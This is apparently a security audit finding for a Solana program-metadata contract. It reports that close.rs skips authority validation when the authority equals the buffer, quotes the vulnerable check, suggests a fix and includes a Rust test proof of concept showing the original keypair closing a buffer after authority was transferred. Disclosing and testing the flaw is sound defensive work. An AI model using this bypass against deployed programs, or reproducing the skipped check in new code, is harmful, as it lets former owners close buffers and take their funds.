Unauthorized Buffer Closure via Authority==Buffer Bypass

[0xmahdirostami]

In authority-based authorization, only the current authority should be able to perform actions.

In the case of a buffer, there is a field called authority, which suggests that only this authority should be able to close the buffer. However, we found a logic flaw in close.rs that allows the original keypair to close the buffer even if it is no longer the authority.
For example, if we create a buffer with a keypair and then transfer its authority to a multisig, only the multisig should be able to close the buffer, not the original keypair.

In close.rs, when authority == buffer, the program skips authority validation. This creates an issue: even after set_authority transfers control of a buffer to a new authority, such as a multisig, the original keypair that created the buffer can still close it.
This breaks the expected ownership model, where only the current authority should control lifecycle actions like closing.

program-metadata/program/src/processor/close.rs

Lines 38 to 40 in a41788e

	// We only need to validate the authority if it is not a keypair buffer,
	// since we already validated that the authority is a signer.
	if account.key() != authority.key() {

I think the program can be improved so that only the current authority is able to close the buffer.
We should remove this check and always validate the authority. If the authority is still the original keypair, it will still work correctly.

PoC

#[test]
fn test_poc() {
    let buffer_key = Pubkey::new_unique();
    let new_authority_key = Pubkey::new_unique();
    let destination_key = Pubkey::new_unique();
    let buffer_lamports = minimum_balance_for(Buffer::LEN);
    let buffer_account = create_funded_account(buffer_lamports, system_program::ID);

    let mut set_authority_data = vec![ProgramMetadataInstruction::SetAuthority as u8, 1];
    set_authority_data.extend_from_slice(new_authority_key.as_ref());

    let set_authority_ix = Instruction {
        program_id: PROGRAM_ID,
        accounts: vec![
            AccountMeta::new(buffer_key, false),
            AccountMeta::new_readonly(buffer_key, true),
            AccountMeta::new_readonly(PROGRAM_ID, false),
            AccountMeta::new_readonly(PROGRAM_ID, false),
        ],
        data: set_authority_data,
    };

    let close_ix = Instruction {
        program_id: PROGRAM_ID,
        accounts: vec![
            AccountMeta::new(buffer_key, false),
            AccountMeta::new_readonly(buffer_key, true),
            AccountMeta::new_readonly(PROGRAM_ID, false),
            AccountMeta::new_readonly(PROGRAM_ID, false),
            AccountMeta::new(destination_key, false),
        ],
        data: vec![ProgramMetadataInstruction::Close as u8],
    };

    process_instructions(
        &[
            (
                &allocate(&buffer_key, &buffer_key, None, None, None).unwrap(),
                &[
                    Check::success(),
                    // data lenght
                    Check::account(&buffer_key).space(Buffer::LEN).build(),
                    // account discriminator
                    Check::account(&buffer_key).data_slice(0, &[1]).build(),
                ],
            ),
            (&set_authority_ix, &[Check::success()]),
            (
                &close_ix,
                &[
                    Check::success(),
                    Check::account(&destination_key)
                        .lamports(buffer_lamports)
                        .build(),
                    Check::account(&buffer_key).lamports(0).build(),
                ],
            ),
        ],
        &[
            (buffer_key, buffer_account),
            (PROGRAM_ID, Account::default()),
            (destination_key, Account::default()),
            keyed_account_for_system_program(),
        ],
    );
}

As shown above, even after transferring authority, we use the keypair to close the buffer.